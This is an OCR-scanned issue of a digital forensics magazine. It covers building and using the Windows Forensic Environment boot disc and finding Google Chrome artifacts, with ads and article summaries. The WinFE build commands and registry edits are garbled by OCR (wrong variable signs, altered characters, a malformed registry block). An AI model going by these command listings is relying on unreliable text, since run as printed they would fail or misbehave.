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Automatically Fix
Common Windows
Problems for Free

Wise PC 1stAid is a trouble-shooting freeware to help fix common Windows problems

in an automatic manner. With it, you can say bye to the following & further unlimited
problems:

Icon errors, broken links, unable to open regedit/task manager/webpages, slow
internet connections, slow startup, slow PC:--

WiseCleaner

Wise PC 1stAid

+ Easy to Match Problem

' Fast, Automatic & Intelligent Fix

+ In-time, Unlimited & Active Enrichment
+/ Unlimited Technical Support

1 8.8 & & ¢

Highly Reviewed by
Professionals

Compatible with

= ' i " Support system:
Official }Nebsnte for More' Informa’qon. ._g e
www.wisecleaner.com/wisepclstaid.html Windows7 (both 32-bit and 64-bit)



,& AN
DIGITAL INVESTIGATION MANAGER

The only existing System of its kind,
IncMan Suite has already been adopted
by a host of corporate clients worldwide

. The Ultimate
Forensic Case Management Software

Fully automated Encase Integration

Evidence tracking and Chain of Custody

Supports over 50 Forensic Software and third parties
Training and Certification available

Special discount for LEO, GOV and EDU customers

©@DFLabs

SPECIAL PROMO 15% OFF
single user perpetual license

http://www.dimmodule.com

promo code E-FORNCS13

DFLabs DIM is a forensic case management software that coherently
manages cases, data input and modifications carried out by the different
operators during Digital Evidence Tracking and Forensics Investigations.

It is part of the IncMan Suite, thus it is able to support the entire Computer
Forensics and Incident Response workflow and compliant with the ISO
27037 Standard.

www.digitalinvestigationmanager.com

www.dflabs.com  email:info@dflabs.com  phone:+1 202 4702688 O©DFLabs
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Dear eForensics Readers!

Iam glad to say that our successful JumpStart Series is continuing
into a third volume!

As with the previous volumes, we trust you would be able to update
your skills with this volume and also help you with your career.
More than 100 pages presents an easy readable and practical, the-
oretical approach to digital forensics science. For better under-
standing of this edition, | suggest you have a look at our previous
Volumes and Preparation Stage.

In addition to a few forensic tutorials, step-by-step articles and
need-to-know information, we also discuss Windows OS and some
well-known forensic tools. An interview with Nanni Bassetti, who
is the project manager of C.A.I.N.E. Linux, reflects on a few inter-
esting data gathering perspectives.

As usual, we’re open to your suggestions and ideas.
Your opinion is extremely important for our authors and editors.

Peace, love, unity!

Artur Inderike
eForensics Magazine
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THE WINDOWS FORENSIC ENVIRONMENT

by Brett Shavers

The Windows Forensic Environment, also known as Windows FE or WinFE, is a Windows operating
system that can be booted from external media such as a CD, DVD, or USB flash drive. Windows FE
is based on Windows PE, which is a minimal Windows operating system with limited services, used
to prepare a computer for Windows installation, among other tasks related to Windows. The main,
and of course most important, difference between Windows FE and Windows PE, is that Windows
FE forensically boots a computer system whereas Windows PE does not. What makes WinFE differ-
ent from non-Windows based forensic boot systems is that with WinFE, the forensic examiner can
use almost all of their favorite Windows based software tools, rather than Linux applications.

EXAMINING GOOGLE CHROME ARTIFACTS

by David Biser

The Internet has grown by leaps and bounds over the course of its existence. There are millions up-
on millions of users who are browsing the Internet on a daily basis. Some of these are good, some
of these are ugly and some of these are just plain old bad! Amongst those who are browsing the In-
ternet are the good guys, who are seeking to enforce the law and conduct digital investigations in
order to stop the bad things from happening on the Internet. One major program that these digital
investigators can turn to in order to locate evidence is Google Chrome!

EMAIL EDISCOVERY IN A MICROSOFT WORLD

by Eric Vanderburg

Microsoft Exchange provides email services for organizations and enterprises in many companies.
In fact, it is the dominant player in this space. eDiscovery efforts often focus on email messages and
their associated attachments in litigation and Microsoft has built in preservation, searching and
review features into their product to ease the burden of eDiscovery efforts. This article explains the
features Microsoft provides out of the box and how organizations can use these features.

IMAGING WITH X-WAYS FORENSICS

by Brett Shavers

You probably know a lot about creating forensic images. You may have even created hundreds, or
thousands, of forensic images during your career. But, have you imaged with X-Ways Forensics? If
not, you will be surprised at the options available to image using X-Ways Forensics that do not ex-
ist with other software or hardware imaging solutions. In fact, you will be most likely be excited
enough to try X-Ways Forensics just for its imaging ability after reading this article. For starters, did
you know that X-Ways Forensics is more than twice as fast as other forensic tools? Trust me when |
say that imaging with X-Ways Forensics is just plain neat.

THREAT HUNTING AND CORPORATE INVESTIGATIONS WITH SIEM
TECHNOLOGY

by Filip Nowak

How to handle modern threats and corporate espionage with next generation, integrated solu-
tions? Security Operations Centers have technology, such as SIEM (Security Information and Event
Management), NGTP (Next Generation Threat Protection), and incident response processes to de-
tect, mitigate and remediate potential danger to any organization.

STEP-BY-STEP TO ASSESS IT SYSTEM CONTROLS

by Kevin M. Moker

Risk management is a discipline that covers many areas. There is financial risk, operational risk, stra-
tegic risk, and compliance risk to name a few. Information Technology (IT) poses its own risk to the
organization, but what is IT risk? Why should you care about IT risk? How do | measure IT risk? It has
been said, “What gets measured, gets done.” Lets look at how to conduct an IT risk assessment from
policy to assessment questions to actual compliance measurements against the information secu-
rity policies. The number one goal is to be able to know if you're in compliance with your informa-
tion security policies. This is just one strategy to get there.
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LOGIC BOMBS

by Krystina Horvath

In this article, you will learn about logic bombs. Logic bomb structure, attack methods and con-
sequences will be detailed and examples of recent logic bombs will be discussed.

INTRUSION DETECTION USING A VIRTUAL MACHINE ENVIRONMENT

by Niranjan P. Reddy

Malware attacks against single hosts and networks are extremely dangerous and could com-
promise the security of the entire network. Protection from malware is one of the top worries
for system administrators who have to ensure that there are no unnecessary threats to their
systems. These threats can cause an adverse effect on a running business or some other mis-
sion critical operations. Over the past few years intrusion detection and other security measures
have gained critical importance in the fight against malware. Selecting the right IDS is the key
to mitigate malware attacks. This article discusses an attempt to create a more robust IDS while
mentioning the limitations of traditional detection systems.

A DIGITAL FORENSICS CASE STUDY USING AUTOPSY

by Pujan Shah

Every day we need to validate digital information, especially in law and business. As physical re-
ality is replaced with virtual reality, establishing the data validity and data sources requires new
technology. Digital criminals take advantage of difficulties validating data, to commit fraud.

Our job is to defend truth and fight crime. The following case study reveals common aspects of
forensics studies such as analyzing files, viewing Internet artifacts, recently used files, attached
devices from Registry and Email Analysis. We also discuss a few investigation processes regard-
ing data collection from nonvolatile memory storage.

THE INTERVIEW WITH NANNI BASSETTI, C.A.IN.E. LINUX FORENSIC DISTRO
PROJECT MANAGER, FOUNDER OF CFl - COMPUTER FORENSICS ITALY
by eForensics Team

USB AND LNK FILE ANALYSIS

by Eric Vanderburg

Data moves so easily and freely between computers and devices, especially today with the inex-
pensive price of storage devices like flash drives and external Universal Serial Bus (USB) storage.
Not only may data exist on a machine or in the cloud, but on many removable devices as well.

It is tough for the average person to keep track of all this data. It is even more important for the
forensic investigator to understand the role and value Link (LNK) files and USB devices have as
evidence. This data can be helpful when trying to determine if sensitive data has been removed
from a facility or if data relevant to a case is present on removable media that might need to be
obtained my attorneys.

HOW TO ANALYZE A TRAFFIC CAPTURE

by Javier Nieto Arevalo

We live in an era where the signature-based Antivirus has less sense if we want to fight against
hackers who are creating customized malware only for their targets. This malware is commonly
known as Advanced Permanent Threat (APT) and it's really interesting to research where the
host was infected, the connections back to the Command and Control server to get the instruc-
tions and evaluate the damage of the malware. Sometimes it is easier to detect infected hosts
in the networks if we analyze the network traffic than using an Antivirus running on the host.

CASE STUDY - INVESTIGAING A NIGERIAN WEBMAIL AND E-BANKING
PHISHING ATTACK

by Gilad Ofir & Dvir Levi

In today’s world, as we all use email for practically everything, from talking to friends, col-
leagues, bosses, business partners, etc. However, like every good thing, it can be abused by
spammers and hackers, and infect is. Since we all use it, it's important to understand the secu-
rity issue that rises when ones e-mail is targeted for spamming.
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NETWORK FORENSICS

by Rizwan Khan, CISSP, CFCE 1 2 8
Network Forensics is a branch of digital forensics which relates to the analysis of network traf-

fic for the purpose of gathering evidence of network tampering, intrusion, evidence of criminal

activity or general information gathering. Network forensics is a comparatively new field of fo-

rensic science. Depending upon the type of case, network forensics can add value to computer

forensics cases and help identify digital devices operating on the network.

IPV6 SECURITY f/

by Satinder Sandhu 1 3 8 A
Predictions about when the world will end are as consistent as the predictions that when IPv4

internet addresses will finally run out, but some IT security professionals say that it is the least of

our worries. A much bigger concern, they say, should be the security holes that will open up in

many business organizations as the world moves over to internet protocol version six (IPv6). In

this article we are going to discuss and execute the techniques and methodologies which can

make the future of internet .... INSECURE !!

HOW TO INVESTIGATE CRIMINAL CASES AS A CIVILIAN DIGITAL FORENSICS 7
INVESTIGATOR A

by Larry Smith

| spent a quarter of a century in law enforcement. During that time | was assigned to the Inter-
net Crimes Against Children (ICAC) detail of the Las Vegas Police Department as a digital foren-
sics examiner and later as an examiner in the Electronic Crimes Unit. The job consisted of the
digital examinations of computers and cell phones as well as many other digital devices.

On the law enforcement side your thought process is to get the data off of the device and pres-
ent it to the prosecuting attorneys or the detective assigned to the case, using whatever tools
you have at your disposal.

INTRODUCTION TO WINDOWS FORENSICS USING PARABEN P2 7
COMMANDER A

by Dauda Sule, CISA

Microsoft Windows is the most widely used operating system both for business and personal use.
Such popularity has made it one of the most targeted operating systems by malicious attackers.
As a result, it is often used as a platform to access personal and work place data, or even to commit
policy breaches assisting in the commission of criminal acts. Investigations that are based on elec-
tronic evidence stand a very high chance of being carried out on a system with one or the other
version of Windows operating system. It is therefore one of the most important operating systems
anyone going into the field of cyber forensics will need to know how to investigate

ORACLE LABEL SECURITY | 1 7 6 W

by Robert Vanaman, M.S.

In the 21st century, we have witnessed a tectonic shift in how personal privacy, wealth, and trust
are violated. Cyber criminals have infiltrated all aspects of society’s newest infrastructure: the
information technology grid. This paradigm of cybernetic treachery has ceased to be relegated
to a mere future concern. Combating this threat is Oracle’s Label Security (OLS); it reigns as the
gold standard for database security within an Oracle database environment.

COMPUTER FORENSICS: IMAGES AND INTEGRITY 7
by Frederick S. Lane A

There are few concepts more important to the field of computer forensics than cryptographic
hash values. Understanding what they are, how they are calculated, and how they are used by law
enforcement is a critical part of effectively defending a criminal case that involves digital evidence.

MY TWO BITS ON DIGITAL FORENSIC INVESTIGATIONS! 7
by René Hamel A

The Forensic Technology area of expertise has been around for quite a few years now. The name
evolved from a variety of specialized area including “High Tech Crime’, “Digital Electronic Investi-
gations”. “Digital Forensics”and sometimes “IT Crime Investigations”to name a few.

www.eForensicsMag.com @ \»)
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THE WINDOWS
FORENSIC
ENVIRONMENT

by Brett Shavers

The Windows Forensic Environment, also known as Windows

FE or WIinFE, is a Windows operating system that can be

booted from external media such as a CD, DVD, or USB flash
drive. Windows FE is based on Windows PE, which is a minimal
Windows operating system with limited services, used to prepare
a computer for Windows installation, among other tasks related
to Windows. The main, and of course most important, difference
between Windows FE and Windows PE, is that Windows FE
forensically boots a computer system whereas Windows PE does
not. What makes WinFE different from non-Windows based
forensic boot systems is that with WinFE, the forensic examiner
can use almost all of their favorite Windows based software tools,
rather than Linux applications.

What you will learn:

* The differences between Win-
dows PE and Windows FE.

* How to build Windows FE.

* How to use Windows FE in com-
mon and uncommon scenarios.

What you should know:

» Fundamentals of digital forensics
regarding preservation of original

sically image, triage, or even examine it using your favorite Windows
based forensic applications? | mean, literally, boot the evidence ma-
chine to Windows. Not to Linux. Not to DOS. Not having to remove the hard
drives and connect to a hardware write blocking device. Simply boot to Win-
dows and go to work. That is the power of the Windows Forensic Environment.

I I ow would you like to boot an evidence machine to Windows to foren-

Troy Larson, of Microsoft brought his idea of a Windows forensic operating

electronic evidence.

« Operation of the forensic tools you
wish to use in the WIinFE bootable
system.

* How to boot a computer system
to external media and not the ev-
idence hard drive through BIOS
configuration changes.

system to me in 2008. Troy asked me to build a WinFE from instructions he
provided, and let him know what | think. | confess, at the time | was extremely
busy and did not immediately put the effort to try. In fact, after reading the in-
structions, | assumed that it would take too much time spend on a Windows
PE that only modified two registry changes. According to Microsoft’s website.

“Windows Preinstallation Environment (Windows PE) 2.0 is a minimal Win32
operating system with limited services, built on the Windows Vista kernel.

® @
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It is used to prepare a computer for Windows installation, to copy disk images from a network file server,
and to initiate Windows Setup.

Windows PE is not designed to be the primary operating system on a computer, but is instead used
as a standalone preinstallation environment and as an integral component of other setup and recovery
technologies, such as Setup for Windows Vista, Windows Deployment Services (Windows DS), the Sys-
tems Management Server (SMS) Operating System (OS) Deployment Feature Pack, and the Windows
Recovery Environment (Windows RE)” (What is Windows PE?, 2013).

That definition alone did not encourage me sufficiently to consider WinFE as the next best thing in fo-
rensic tools. Boy was | wrong. | did not fully understand the genius behind this simple modification to a
Windows PE, that would provide forensic examiners worldwide, a great tool until after | spent some time
to test it myself. The impetus to get me going was a presentation Troy gave in Seattle about WinFE (Lar-
son, 2009). This one presentation made me run directly to the office and start building my first WinFE.
Even in 2009, Troy had developed a process to use WIinFE, and access both Shadow Copies and Bit-
locked drives with a forensic boot disc. How neat is that!

Before getting into how to build WIinFE, let’s talk a little about where it stands now. The current result of
WInFE is seen below in Figure 1. As you can see, it looks like Windows for one reason...it is Windows.
In Figure 1 below, it is Windows 7. WIinFE can just as easily be built using Windows XP, Vista, or Win-
dows 8; in both 32bit and 64bit. You can also see that since it is Windows, you can run your Windows
based forensic tools such as Accessdata’s FTK Imager (http.//www.accessdata.com/support/product-
downloads), Guidance Software’s Encase Forensic (http.//www.guidancesoftware.com), X-Ways Foren-
sics (http://www.x-ways.net), or any number of your favorite tools.

2

FTK Imaget

Figure 1. Windows FE

Besides adding to efficiency of analysis, being able to use the same tools you use daily in forensic ex-
aminations — ones that you can use on a forensic boot disc — is just plain neat. | also use Linux forensic
boot systems, but my first choice is most always WIinFE. Like many forensic examiners, | am personally
more comfortable using Windows based tools in the acquisition of evidence; for the primary reason that
I most always use Windows based tools for analysis. Also, the majority of commercial forensic applica-
tions are Windows based; thus, making the most common operating system, naturally Windows.

www.eForensicsMag.com € »
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METHODS OF BUILDING YOUR OWN

Just the thought of ‘building your own operating system’, is enough to frighten the most hardened foren-
sic analyst. However, it is so much easier than it sounds. Actually, since the creation of WinFE in 2008,
there have been a few different methods of building WinFE, resulting in different end results of appear-
ances and applications able to run on each type of build. The manner in which you choose to build a
WinFE is solely dependent upon your needs.

Your needs can vary between building a minimal WinFE, that can boot older systems, to a more full-
featured WInFE to conduct triage or a complete forensic analysis. As most examiners carry different
Linux forensic versions of boot discs, examiners can have different build versions of WinFE to approach
systems of unknown hardware. Older systems typically may have less RAM, requiring a WinFE that does
not require more RAM than the evidence computer provides. In most systems today, WinFE will have
more RAM than necessary to operate without problems.

BASIC WINFE BUILD
The basic build is the original build method developed by Troy Larson. The two registry modifications to
Windows PE to create Windows FE are:

HKLM\WindowsFE8 %$1\WindowsFE8\mount\Windows\System32\config\SYSTEM
HKLM\WindowsFE8\ControlSet001\Services\MountMgr /v NoAutoMount /t REG DWORD /d 1 /f
HKLM\WindowsFE8\ControlSet001\Services\partmgr\Parameters /v SanPolicy /t REG DWORD /d 4 /f
HKLM\WindowsFE8\ControlSet001\Control\FileSystem /v DisableDeleteNotification /t REG DWORD /d 1 /f
HKLM\WindowsFE8

Essentially, these modifications to the registry prevent any drives to be automatically mounted when
Windows PE (now “FE”) boots. Specially, all internal disks are booted offline and any attached storage,
such as external USB drives are placed online at boot. The user can mount, and unmounts drives as
needed through command lines in DISKPART.

Figure 2 shows the interface to a Basic WIinFE build. As you can see, there is not a start button or
menu. There is only a command shell; however, many of your Windows based forensic applications will
be able to run from the command line.

Elc\m

Figure 2. WinFE Basic Build

By drilling down to the directory of any installed forensic apps, simply run the executable of your appli-
cation to operate the software. Figure 3 shows FTK Imager running in its GUI in the Basic WinFE, even
though the application must be started through the command shell.
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Figure 3. FTKImager in the Basic WinFE

Building a Basic WinFE requires the Windows Automated Installation Kit (AIK), freely available from Mi-
crosoft’s website. With the AlK installed, the build is made using DISKPART by opening a command shell
with administrative privileges and running DISKPART. Through a series of typed commands, or running
a pre-made batch file, a WinFE ISO file is created which is then placed onto your boot media (burned to
a disc or installed to a USB device).

The commands to create a Basic WIinFE are:

call copype.cmd x86 $1:\WinFEx86

Dism /Mount-Wim /WimFile:%1:\WinFEx86\winpe.wim /index:1 /MountDir:%1:\WinFEx86\mount
REG LOAD HKLM\WinFEx86 %1:\WinFEx86\mount\Windows\System32\config\SYSTEM
REG ADD HKLM\WinFEx86\ControlSet001\Services\MountMgr /v NoAutoMount /t
REG_DWORD /d 1 /f

REG ADD HKLM\WinFEx86\ControlSet00l\Services\partmgr\Parameters /v SanPolicy /t REG DWORD /d 3 /f
REG UNLOAD HKLM\WinFEx86

Dism /image:%1:\WinFEx86\mount /Add-Package /PackagePath:”C:\Program
Files\Windows AIK\Tools\PETools\x86\WinPE FPs\winpe-scripting.cab”

Dism /image:%1:\WinFEx86\mount /Add-Package /PackagePath:”C:\Program
Files\Windows AIK\Tools\PETools\x86\WinPE FPs\winpe-wmi.cab”

del %1:\WinFEx86\ISO\boot\bootfix.bin

xcopy “%2:\WindowsFETools\Desktop\WinPe.bmp”
“$1:\WinFEx86\mount\windows\system32\” /H /Y

md %1:\WinFEx86\mount\Apps

xcopy %2:\WindowsFETools\Applications %1:\WinFEx86\mount\Apps /S /H /Y
Dism /image:%1:\WinFEx86\mount /Add-Driver
/Driver:%$2:\WindowsFETools\Drivers /recurse
“%2:\WindowsFETools\WindowsFE FilesList.log”

Dism /Unmount-Wim /MountDir:$1:\WinFEx86\mount /Commit

move $1:\WinFEx86\winpe.wim %1:\WinFEx86\iso\sources\boot.wim

oscdimg -n -m -0 -b%1:\WinFEx86\etfsboot.com %$1:\WinFEx86\ISO
“$1:\WinFEx86\WindowsFE.is0”

As you can see, there is a lot going on that needs to be typed as commands. A better, and error free
method, is using a batch file for this process for speed, ease of modification, and reduction of user errors.
Rather than having to make a batch file from scratch, several are freely available on the WinFE blog at
http.://winfe.wordpress.com. Also, the batch files from the WinFE blog detail the specifics of each com-
mand used, in order for you to know what is going on under the hood during the build process.

www.eForensicsMag.com @ \»)
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You may also be able to guess that since the Basic WiInFE is operated via a command shell and that
it is @ minimal build, not every program you want to run in WinFE, will be able to do so. With this build,
you are limited in the applications unless you make extra effort to install or copy dependencies of each
program you want to use. At the most basic need for imaging, most imaging applications will run without
issue. Therefore, this Basic WInFE is able to boot the vast majority of systems, and be used for forensic
imaging. A video of this build can be seen on YouTube (Creating a Windows FE ISO, 2010).

But if you want WIinFE to do more with an easier build method, consider the following methods.

WINFE LITE BUILD

WInFE Lite, developed by Colin Ramsden can be considered a step in the direction of an easier build,
with a much easier method of toggling drives on and offline. Remember, with the Basic WinFE build, the
user mounts and unmounts drives using DISKPART with the command line. Within the DISKPART com-
mands, there are similar commands, such as clear and clean, which can have a disastrous effect if the
wrong command is given. It is possible to “clean” your evidence when you meant to “clear” the mounting
status. Cleaning a drive is just what you think it is — not what you want to do with evidence...

To make handling hard drives easier, and less prone to operate error, Colin developed a write pro-
tection application for WinFE that is a simple to use, yet highly effective graphical application. Figure 4
shows Colin’s write protection application. Upon booting WinFE Lite, the write protection application au-
tomatically starts and presents a warning dialog box. After acknowledging the warning dialog, the write
protection application dialog is presented.

Warning - This write protection tool does not use a kernel mode filter driver
to perform the write protection.

Therefore. itis entirely possible to remove the read-only status of disks by
using other tools or applications.

Known problematic tools and applications that should be avoided are:
Diskpart

Device Manager [Scan for Hardware Changes)

Disk Management

As with any Forensic Boot CD, common sense should be applicd at all

times!
oK

WARNING: It is recommended that all disks of an evidential nature remain set to
READ ONLY to avoid unintentional writes.

Disks may not be displaycd below if they require a driver, Install the correct
device driver using the 'Add Driver' button.

Disk  Mount Size Read-Only

0 No 30.3 GB Yes About | Help |
Rescan | Add Driver |
Dismount | Read Only |

Mount Read\Write

Detail Disk Continue
Status Waiting
Power Information
Power Source: AC Power Charge: 100 %

Figure 4. Write Protection Application and Warning Banner

The operation of the write protect application is as easy as it appears. Disk mounting and un-mounting
is accomplished by selecting the drive, and then selecting the push button needed. Drives can be placed
online, offline, in a read only or read/write mode. Using any forensic boot media requires concentration

« =
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on the status of all attached drives, internal and external, no matter if the forensic boot OS is Linux or
Windows FE. The difference between read only and read/write, is the difference between a forensic bit
for bit capture of evidence, or a capture of evidence that is not.

Drivers are also easily added ‘on the fly’ through the Add Driver button. This is especially helpful after
booting a machine to WIinFE, and later realizing you need a driver added to address a hardware issue.
Without having to shutdown, create a new WinFE with the driver, and then reboot the machine, you can
add the driver live for that session only.

Figure 5 shows WInFE Lite. WIinFE Lite, is a visual step up from the Basic WinFE, includes several fea-
tures that are easily accessible through a menu bar. The most impressive difference is the write protec-
tion application since this feature is what makes WinPE a WinFE. The write protection application also
addressed disk mounting issues that exist in the Basic WiInFE, for at times, external drives may have dif-
ficulty in being set online or offline.
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Figure 5. WinFE Lite

Detailed instructions and everything you need for the WinFE Lite build can be found on Colin’s website
at http.//www.ramsdens.org.uk/.

FULL-FEATURED BUILD

Taking WIinFE a step even further, is a full-featured, yet not a full Windows installation build. There are
several applications developed to create a customized Windows PE, which can be easily used to cre-
ate a Windows FE. One patrticular application used by many to create a WIinFE is Winbuilder (http:/
www.reboot.pro). WinBuilder has been developed to build customized WinPEs; however, with the help
of several people, scripts and plugins were written for WinBuilder to build a WinFE rather than a WinPE.
The ease to which this is accomplished cannot be described enough; however, the end result, as seen
in Figure 6, is almost a work of art, as any forensic examiner can fully customize their WinFE to fit their
needs, and changed as needed.
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Flgure 6. Full-Featured WinFE Build

Not to get ahead of ourselves, but as you can see in Figure 6, WinFE has all the makings of a Windows
operating system for ease of use. To create a WinFE using WinBuilder, simply download and extract the
WinBuilder zip from http://www.reboot.pro. You will need a Windows installation disc, which WinBuilder
will use to build your WinFE. The operation of WinBuilder (Figure 7) is very intuitive, easy to use, and al-
lows for a multitude of features. HOWEVER, the fewer features added, the better the build will be. You
most likely will not need audio support, or every driver available, or network support, or even most of
the available features. The more you add, the heavier your WinFE will be, thereby requiring more RAM
when used.
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Figure 7. WinBuilder

This doesn’t mean you should never use any of these features, only that when needed, add them to
your build. Some features will be talked about later to increase the usefulness of WinFE. As Figure 7
shows a multitude of checkboxes, features, modifications, and customizations, it may seem overwhelm-
ing. This isn’t the case since once you go through the basic needs, you can use the same settings the
next time you need to build a WinFE. This method is seen in a video in YouTube (WinFE Tutorial, 2013).

If you are looking for an easier and quicker method, the latest version of WinBuilder, seen in Figure 8,

may suit your needs soon. It might look like we are going backwards (or back to the command line...),
which we are; but with only two or three commands, this version is faster and easier to use. All files needed

« =
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to build your WinFE are automatically downloaded for your WinFE I1SO in a matter of minutes. Compared
to the prior version of WinBuilder, | have seen a drastic decrease in the amount of time needed to build a
WInFE, in as little as five minutes. As this build has not been completely tested for WinFE yet, | am hoping
that by the time this article is in print, this newest version of the WinBuilder WinFE build will be out of beta.

3] winbuilder = |-z

t to you by http://reboot.pro

¢, clean ac freshly fallen snow" (http://reboot.pro/17266/)

Figure 8. Latest WinBuilder

Details on these build methods can be found on the http://winfe.wordpress.com blog, as well as other
online sources noted in the references to this article.

USING WINFE
For any person who uses Windows as their daily use operating system, the instruction in using WinFE is simple.
It's Windows, just like what you are using on your forensic workstation, except for a few minor differences. ..

* No storage drives are mounted by default (you can choose to mount specific drives)

* The operating system is not a ‘full build’ of Windows, and limited in certain respects

* Not every Windows based software will run successfully due to missing dependencies in WinFE

* WInFE is booted from an external media device, such as a CD, DVD, or USB drive

Using WInFE can be as simple as booting an evidence machine to image the hard drives. Or it can in-
volve triaging evidence machines onsite to determine which machines, if any, may contain evidence. It
can be used to triage, or preview, seized machines to prioritize which one needs analyzing first. If need-
ed, WIinFE can be used onsite, on the evidence machine, to conduct as much of a forensic analysis as
the examiner needs; time permitting of course. This may be extremely useful in missing person investi-
gations, where investigative time is at a premium.

First responders can learn to use WInFE faster, rather than being trained in a different operating sys-
tem. Most forensic examiners can use any type of operating system, but this cannot be expected of first
responders whose job does not involving computing. By creating a customized WinFE boot system with
triage applications, first responders, such as patrol officers or parole officers, are able to boot an evidence
machine and conduct a triage. Of course, for any system that is to be seized subject to a search warrant
or civil court order, onsite triage is not necessary. But for consent searches, or triages of multiple devices,
onsite triage with WinFE using Windows based tools makes it a much easier task for first responders.

A WARNING!

| have talked about the important of knowing the status of all connected drives. WIinFE is not different
from a Linux forensic boot system, because with any forensic boot system, the user can intentionally or
unintentionally alter the hard disks. And just like a Linux forensics boot system, drives must be placed
online in a read/write mode (to write an image to), or volumes placed online in a read only mode, to allow
access by certain software. An example of using read only mode would be to allow a software application
that cannot see the physical drive, be able to see the logical drive. Several triage tools are only capable
of viewing the logical drive, while others can view both the logical and physical.
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Here is the warning when handling disks.
Setting a disk to read only does NOT alter the disk.
Setting the volume to read only DOES alter the disk (but only with a very small byte change)

When it is need to place a volume in read only mode, | would suggest only doing so when forensic
analysis has not been decided, or there is no cause to seize the system. This type of triage is done to
at least partially examine (triage) potential evidence devices when they would have otherwise been ig-
nored. When using WinFE, or any forensic boot system that you plan to use, test it first; then test it again!
Make sure you know what you are doing. Digital forensic started with boot discs (floppies...), and we are
no less ‘forensic’ today with boot systems than in the beginning. We are however, much more proficient
and efficient.
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The Internet has grown by leaps and bounds over the course of
its existence. There are millions upon millions of users who are
browsing the Internet on a daily basis. Some of these are good,
some of these are ugly and some of these are just plain old bad!
Amongst those who are browsing the Internet are the good
guys, who are seeking to enforce the law and conduct digital
investigations in order to stop the bad things from happening on
the Internet. One major program that these digital investigators
can turn to in order to locate evidence is Google Chrome!

What you will learn:

» Why Chrome matters in forensics

* Where Chrome is stored and in
what formats

« What different tools can do with
Chrome files and artifacts

* How Chrome time stamps artifacts

What you should know:

 Basic forensic procedures

« A general knowledge of file stor-
age formats

» Time stamping principles and for-
mats

« Internet history storage

or many forensic examiners the idea of searching through a program
F such as Google Chrome might come as a surprise. Indeed, as | pre-

pared to write this article | did a search of the Internet looking for more
information on the forensic examination of Google Chrome and came up sur-
prising shorthanded! There are some articles out there, and some forensic
examiners have done some excellent research into Chrome and it’s file de-
pendencies and construction, but over all there isn’t much to turn to when you
have to examine this program.

Sadly, this program is overlooked amongst forensic examiners, but hope-
fully this article will change your viewpoint. Chrome holds an amazing amount
of information, just waiting for the persistent and thorough forensic examiner
to locate it, and use it as evidence! As we begin this article | hope that you
know that this type of forensic evidence can be extremely valuable in forensic
examinations. This is especially true if you are handling an Internet based ex-
amination. Whether it be a child pornography case or an identity theft case or
a hacking case, Google Chrome can hold the evidence that you are looking
for, if only you knew how to find it!

Chrome is probably the most popular web browser around today. Did | say

probably? Alright, it is the most popular web browser in the world today. Take
a look at the following chart:
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Figure 1. StatCounter Global statistics, http://gs.statcounter.com

As you can see from the above chart, Chrome is far and ahead of any other browser being used on
the global scale. This means that you will probably encounter a computer that has Chrome installed and
utilized on it. It also means that as a forensic examiner you should have a grasp of how to examine the
artifacts contained within the Google Chrome folder!

Google first released Chrome in a stable user friendly format in December of 2008. Since then it has
grown in popularity and use, making it important for you to learn more about it! Chrome utilizes the SQL-
lite database format for file storage, much the same as Firefox. But as we delve deeper into Chrome we
will see that it is quite a bit different than Firefox.

For the purpose of this article | installed Google Chrome on a computer running Windows XP, and
utilized it to conduct some web searches, and browse the Internet for a short period of time. | did not
change any of the standard user settings when | downloaded it, but used the default settings. This is usu-
ally the manner in which the common user will download and use Chrome, so hopefully it will be relatively
close to the real world incidents you will be handling.

Chrome is a highly rated Internet browser amongst users. It has some very good features that appeal
to the end user and also provides you, as a forensic examiner, with the opportunity to recover some ex-
cellent evidence. Chrome is highly ranked in security, speed and compatibility and ease of use. This is
more than likely the reason that Chrome has gained such a large following.
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Figure 2. 2013 Internet Browser Software Product Comparisons, internet-browser-review.toptenreviews.com

GOOGLE CHROME LOCATIONS
As a forensic examiner it is always important to know where you can locate the files you need to exam-
ine. Google Chrome is a multi-operating system program and is stored in various places, again depend-

ing upon the operating system you are using.

In Linux it can be found in /home/$USER/ . config/google-chrome/ and /home/$USER/ . config/chromium/.
Chrome is available in two versions for Linux, one being the official packets distributed by Google. This
can be found in the first version stored in /google-chrome. The second version will be Linux distribution
versions, which store their files in Chromium. In Windows Vista and 7, C:\Users\"USERNAME"\AppData\
Local\Google\Chrome\. In Windows XP it can be located in C:\Documents and Settings\"USERNAME”"\
Local Settings\Application Data\Google\Chrome\.

Why is this important to know? First, when you are accessing a digital image you should know where
you are going to search for evidence. Taking into account the type of case you are working you should
be able to determine early on if searching the Chrome databases will be worthwhile early in the case, or
if they should be pushed back to later in the search. Knowing the file locations can most definitely ease
your search for these files as you go through the file system on your forensic image. Take advantage of
the knowledge and save yourself some time!

GOOGLE CHROME DATABASE FILES

We will be examining Google Chrome version 28.0.1500.72m. There are newer versions available but all
utilize the same file system and database structure. Now as we begin to delve deeper into the database
that makes up Chrome on your evidence computer we first learn that these files are stored as SQLite da-
tabases. We mentioned this earlier in the article and repeat it now. These files will not be easy to trans-
late, search and examine, unless you are very familiar with SQL programming language. This can stop
many forensic examiners from being able to fully examine and obtain evidence from Google Chrome.

Thankfully that isn’t the end of the matter! No, there are many different tools that you can bring to bear
on these files in order to examine them and obtain the information or evidence that is saved within them.
We are going to take a look at some of these programs and give you examples of what different types of
forensic software will do with Chrome, but first we should take a look at the file system itself.

In SQLite databases there are tables that hold the information we desire to see.
Some of these tables are listed as:

downloads

presentation

keyword_search_terms
segments
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urls

meta

visits
segment_usage

When conducting a forensic examination the most useful table for many of us is going be the “urls” that
contains all the visited URL’s used by the computer’s end user. Another table of interest would be the
“visits” table. This table will hold information regarding the web sites visited by the user along with the
type of visit and the timestamps, that can so often be highly important in a case. We would probably also
find the “downloads” table to be of interest since it is going to hold a list of the downloaded files. Again,
this would be extremely important in a child pornography case, for example, where the suspect was
downloading these images from the Internet! Knowing that these tables are here and what information is
stored within them should provide you with a very good starting point in the examination.

TOOLS TO HELP YOU EXAMINE CHROME DATABASE FILES
USING FTK TO EXAMINE CHROME DATABASE FILES

Name | Size I Type | Date Modified |
. Cache 0 Directory 6/24/2013 5:44....
| Extension State 0 Directory 6/24/2013 5:44:...
|. Bxtensions 0 Directory 6/24/2013 5:44....
. Local Storage 0 Directory 6/24/2013 5:44....
|2 Media Cache 0 Directory 6/24/2013 5:44:...
. Pepper Data 0 Directory 6/24/2013 5:44....
1. Session Storage 0 Directory 6/24/2013 5:44....
